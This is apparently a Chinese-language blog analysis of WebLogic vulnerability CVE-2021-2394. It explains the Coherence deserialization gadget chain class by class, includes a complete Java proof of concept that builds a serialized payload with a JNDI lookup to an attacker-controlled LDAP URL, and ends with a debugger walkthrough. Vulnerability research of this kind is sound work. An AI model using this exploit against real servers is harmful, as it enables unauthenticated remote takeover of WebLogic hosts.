weblogic漏洞分析之CVE-2021-2394
weblogic漏洞分析之CVE-2021-2394
簡介
Oracle官方釋出了2021年7月份安全更新通告,通告中披露了WebLogic元件存在高危漏洞,攻擊者可以在未授權的情況下通過IIOP、T3協議對存在漏洞的WebLogic Server元件進行攻擊。成功利用該漏洞的攻擊者可以接管WebLogic Server。
這是一個二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的呼叫鏈相結合組成一條新的呼叫鏈來繞過weblogic黑名單列表。
影響版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
前置知識
為了更好的理解漏洞,我將介紹漏洞中涉及的每一個類的作用,再將所有類串起來形成呼叫鏈
ExternalizableLite介面
Coherence 元件中存在一個 com.tangosol.io.ExternalizableLite
,它繼承了 java.io.Serializable
,另外聲明瞭 readExternal
和 writeExternal
這兩個方法。
ExternalizableHelper類
ExternalizableHelper
類可以將實現上面ExternalizableLite
介面的類進行序列化和反序列化操作,在反序列化操作中,會呼叫ExternalizableHelper#readObject
如上圖,在ExternalizableHelper#readObject
中,會呼叫readObjectInternal
方法,此方法會根據要還原類的型別,選擇對應的方法進行解析,對於實現 com.tangosol.io.ExternalizableLite
介面的物件,會進入到 readExternalizableLite
方法:
在readExternalizableLite
方法中,會根據類名載入類,然後並且例項化出這個類的物件,然後呼叫它的 readExternal()
JdbcRowSetImpl類
此類中getDatabaseMetaData
方法會呼叫this.connect
而this.connect
則呼叫了InitialContext#lookup
,如果this.getDataSourceName()
為惡意uri,則可以產生JNDI注入
MethodAttributeAccessor類
此類中有一個getAttributeValueFromObject
方法,在getAttributeValueFromObject
方法中,可以呼叫invoke
來執行任意方法,前提是三個引數可控getMethod、anObject、parameters
AbstractExtractor類
此類的compare
方法會呼叫this.extract
FilterExtractor類
此類是整個漏洞繞過上一個補丁的關鍵類,它實現了ExternalizableLite
介面,並且父類是AbstractExtractor
在此類中有兩個比較重要的方法,首先來看第一個extract
方法,此方法會呼叫attributeAccessor
的getAttributeValueFromObject
方法
第二個是readExternal
方法
此方法呼叫了SerializationHelper#readAttributeAccessor
來從序列化資料中還原this.attributeAccessor
的值
跟進readAttributeAccessor
方法,可以看到是自己new
了一個MethodAttributeAccessor
物件,這裡就是繞過補丁的關鍵
TopNAggregator$PartialResult類
TopNAggregator$PartialResult
是一個靜態內部類,也實現了ExternalizableLite
介面,裡面有個readExternal
方法
在readExternal
方法中也是呼叫的ExternalizableHelper
進行還原每一個元素,170行還原了m_comparator
後,到172行呼叫了instantiateInternalMap
方法並且傳入了還原的m_comparator
,跟進instantiateInternalMap
這裡首先new
了一個SortedBag.WrapperComparator
,傳入comparator
,跟進WrapperComparator
可以看到把comparator
的值賦予給了this.f_comparator
之後把new
出來的SortedBag.WrapperComparator
物件傳入了TreeMap
構造方法,跟進TreeMap
構造方法
在TreeMap
構造方法只是對comparator
的一個賦值,把剛剛的SortedBag.WrapperComparator
物件傳遞給了this.comparator
回到TopNAggregator$PartialResult
類,最終的把TreeMap
物件賦值給了this.m_map
,接下來看176行的this.add
跟進add
方法看到呼叫了父類的add
跟進其父類SortedBag
類的add
,在父類add
方法中,呼叫了map.put
,而這裡的map
就是上面的TreeMap
物件
TreeMap類
在TreeMap
類中,其put
方法會呼叫compare
在compare
中呼叫了comparator.compare
,此處的comparator
是在上個內部類中賦予的值SortedBag.WrapperComparator
類
SortedBag$WrapperComparator類
此類的compare
方法會呼叫this.f_comparator.compare
AttributeHolder類
這個是整個漏洞的入口,在此類中實現了readExternal
方法,在還原this.m_oValue
值時候會呼叫ExternalizableHelper.readObject
漏洞分析
先上gadget:
AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup
POC用Timeline Sec團隊的:
import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc";
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");
Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();
jdbcRowSet.setDataSourceName(ldapurl);
FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);
//serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close();
//unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor {
public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
}
public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}
在objectIntputStream.readObject();
處下斷點
跟進到AttributeHolder#readExternal
,這裡使用了ExternalizableHelper
從序列化資料中還原this.m_oValue
跟進ExternalizableHelper#readObject
,呼叫了readObjectInternal
在readObjectInternal
中,判斷nType
的值,進入readExternalizableLite
來處理
在readExternalizableLite
中,先例項化了TopNAggregator$PartialResult
類,然後呼叫了它的readExternal
方法
跟進到TopNAggregator$PartialResult
的readExternal
方法,開始依次還原幾個變數,先看還原第一個m_comparator
跟進ExternalizableHelper#readObject
到readExternalizableLite
方法,例項化出了FilterExtractor
物件,呼叫其readExternal
方法
跟進FilterExtractor#readExternal
方法,發現呼叫了SerializationHelper.readAttributeAccessor
方法來還原this.attributeAccessor
的值
跟進SerializationHelper.readAttributeAccessor
後,可以看到會 new
一個 MethodAttributeAccessor
物件,然後從 DataInput
中還原它的 setAttributeName
,setGetMethodName
以及 setSetMethodName
屬性,最後進行返回。
回到TopNAggregator$PartialResult
的readExternal
方法中,此時this.m_comparator
已經變成了FilterExtractor
物件
接著呼叫到172行的instantiateInternalMap
方法,傳入了this.m_comparator
在instantiateInternalMap
方法中,首先new
了一個SortedBag.WrapperComparator
,傳入comparator
,跟進WrapperComparator
可以看到把comparator
的值賦予給了this.f_comparator
之後把new
出來的SortedBag.WrapperComparator
物件傳入了TreeMap
構造方法,跟進TreeMap
構造方法
在TreeMap
構造方法只是對comparator
的一個賦值,把剛剛的SortedBag.WrapperComparator
物件傳遞給了this.comparator
回到TopNAggregator$PartialResult
類,最終的把TreeMap
物件賦值給了this.m_map
,接下來看176行的this.add
跟進add
方法看到呼叫了父類的add
,可以看到value
的值已經變成了JdbcRowSetImpl
跟進其父類SortedBag
類的add
,在父類add
方法中,呼叫了map.put
,而這裡的map
就是上面的TreeMap
物件
在TreeMap
類中,其put
方法會呼叫compare
,此時傳入的key
就是JdbcRowSetImpl
物件
在compare
中呼叫了comparator.compare
,此處的comparator
是在上面TreeMap
中賦予的SortedBag.WrapperComparator
類
接著進入SortedBag.WrapperComparator#compare
中,可以看到呼叫了FilterExtractor#compare
,其中o1、o2的值為JdbcRowSetImpl
跟進FilterExtractor#compare
中,呼叫了this.extract
轉到this.extract
,呼叫了MethodAttributeAccessor#getAttributeValueFromObject
檢視MethodAttributeAccessor#getAttributeValueFromObject
利用invoke
呼叫了JdbcRowSetImpl#getDatabaseMetaData
最終進行了lookup
,其this.getDataSourceName()
就是我們輸入的LDAP地址
彈出計算器